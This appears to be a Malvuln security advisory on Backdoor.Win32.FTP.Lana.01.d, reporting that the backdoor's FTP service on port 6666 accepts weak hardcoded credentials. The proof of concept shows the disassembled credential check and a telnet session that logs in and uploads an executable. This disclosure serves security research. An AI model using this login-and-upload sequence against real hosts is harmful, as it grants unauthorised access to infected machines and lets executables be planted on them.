Backdoor.Win32.FTP.Lana.01.d malware suffers from having a weak hardcoded password.
9339341baa566b6c6f3ef3c81f9a9688Discovery / credits: Malvuln - malvuln.com (c) 2022
Original source: https://malvuln.com/advisory/fc100ff65f676a26293915407adc211c.txt
Contact: [email protected]
Media: twitter.com/malvuln
Threat: Backdoor.Win32.FTP.Lana.01.d
Vulnerability: Weak Hardcoded Password
Description: The malware listens on TCP port 6666. The credentials "user" and "pass" are weak and stored in plaintext with the executable.
Type: PE32
MD5: fc100ff65f676a26293915407adc211c
Vuln ID: MVID-2022-0468
Dropped files: FTP.exe
Disclosure: 01/24/2022
Exploit/PoC:
.text:00402C08 push offset aUser ; "user"
.text:00402C0D push eax ; lpString1
.text:00402C0E call lstrcmpiA
.text:00402C13 or eax, eax
.text:00402C71 jz short loc_402CB0
.text:00402C73 mov eax, [ebp+lpString1]
.text:00402C76 add eax, 5
.text:00402C79 push offset aPass ; "pass"
telnet.exe x.x.x.x 6666
220 Anal FTP v0.1
USER user
331 Password required for user.
PASS pass
230 User logged in, proceed.
SYST
215 UNIX Type: L8
PASV
227 Entering Passive Mode (192,168,18,129,225,245).
STOR DOOM.exe
150 Data connection accepted.
226 Transfer ok
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